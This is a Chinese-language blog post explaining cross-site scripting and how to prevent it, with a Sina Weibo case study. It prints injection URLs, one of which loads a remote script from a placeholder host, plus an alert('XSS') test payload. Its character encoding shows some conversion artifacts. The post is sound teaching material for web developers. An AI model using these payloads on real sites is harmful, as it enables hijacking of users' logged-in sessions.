XSS跨站請(qǐng)求攻擊

一、前言

XSS 即 Cross Site Script,跨站腳本攻擊;縮寫應(yīng)該是 CSS,但為了和 CSS(Cascading Style Sheet,層疊樣式表) 有所區(qū)分,因而改叫 XSS

也就通過利用網(wǎng)站漏洞,通過網(wǎng)址,輸入框等方式構(gòu)造惡意腳本( java script) ,用腳本進(jìn)行攻擊的一種方式。

二、概述

案例

新浪微博 XSS 漏洞

1) 攻擊者發(fā)現(xiàn)漏洞:發(fā)現(xiàn) http://weibo.com/pub/star/g/xyyyd 這個(gè) URL 的內(nèi)容未經(jīng)過濾直接輸出到 HTML 中。
2) 于是攻擊者構(gòu)建出一個(gè) URL,然后誘導(dǎo)用戶去點(diǎn)擊:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用戶點(diǎn)擊這個(gè) URL 時(shí),服務(wù)端取出請(qǐng)求 URL,拼接到 HTML 響應(yīng)中:
復(fù)制代碼<li><a ><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
3) 瀏覽器接收到響應(yīng)后就會(huì)加載執(zhí)行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態(tài)進(jìn)行關(guān)注、發(fā)微博、發(fā)私信等操作

(1) 發(fā)現(xiàn)漏洞,比如:

  • 網(wǎng)址中的鏈接可以注入腳本
    比如 某網(wǎng)站搜索頁面的網(wǎng)址是:http://xxx/search?keyword=搜索詞。這個(gè)頁面打開后會(huì)將“搜索詞” 相顯示在頁面中。那么,構(gòu)造一個(gè)
http://xxx/search?keyword="><script>alert('XSS');</script> 

這樣的網(wǎng)址,讓用戶點(diǎn)擊,就可以進(jìn)行攻擊

  • 文本輸入框
  • 富文本編輯器,比如,發(fā)帖,評(píng)論。通過在帖子,評(píng)論中注入 script腳本, 當(dāng)查看評(píng)論時(shí)觸發(fā)腳本,自動(dòng)發(fā)送cookie信息等。
  • 將一些隱私數(shù)據(jù)像 cookie、session 發(fā)送給攻擊者,將受害者重定向到一個(gè)由攻擊者控制的網(wǎng)站,在受害者的機(jī)器上進(jìn)行一些惡意操作。

三、如何預(yù)防xss攻擊

整體的 XSS 防范是非常復(fù)雜和繁瑣的,我們不僅需要在全部需要轉(zhuǎn)義的位置,對(duì)數(shù)據(jù)進(jìn)行對(duì)應(yīng)的轉(zhuǎn)義。而且要防止多余和錯(cuò)誤的轉(zhuǎn)義,避免正常的用戶輸入出現(xiàn)亂碼。

輸入過濾

在用戶提交時(shí),由前端過濾輸入,然后提交到后端。這樣做是否可行呢?
答案是不可行。一旦攻擊者繞過前端過濾,直接構(gòu)造請(qǐng)求,就可以提交惡意代碼了。
那么,換一個(gè)過濾時(shí)機(jī):后端在寫入數(shù)據(jù)庫前,對(duì)輸入進(jìn)行過濾,然后把“安全的”內(nèi)容,返回給前端。這樣是否可行呢?問題是:在提交階段,我們并不確定內(nèi)容要輸出到哪里,輸入側(cè)過濾能夠在某些情況下解決特定的 XSS 問題,但會(huì)引入很大的不確定性和亂碼問題。在防范 XSS 攻擊時(shí)應(yīng)避免此類方法。

通過“防止瀏覽器執(zhí)行惡意代碼”來防范 XSS

  • 防止 HTML 中出現(xiàn)注入。顯示“來自用戶輸入的內(nèi)容時(shí)”,要進(jìn)行格式化轉(zhuǎn)義
  • 防止 JavaScript 執(zhí)行時(shí),執(zhí)行惡意代碼。比如 發(fā)評(píng)論的內(nèi)容不能有腳本本執(zhí)行。
  • json 中也能被注入腳本。

JSON 也是不安全的:當(dāng) JSON 中包含 U+2028 或 U+2029 這兩個(gè)字符時(shí),不能作為 JavaScript 的字面量使用,否則會(huì)拋出語法錯(cuò)誤。
當(dāng) JSON 中包含字符串 </script> 時(shí),當(dāng)前的 script 標(biāo)簽將會(huì)被閉合,后面的字符串內(nèi)容瀏覽器會(huì)按照 HTML 進(jìn)行解析;通過增加下一個(gè) <script> 標(biāo)簽等方法就可以完成注入。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容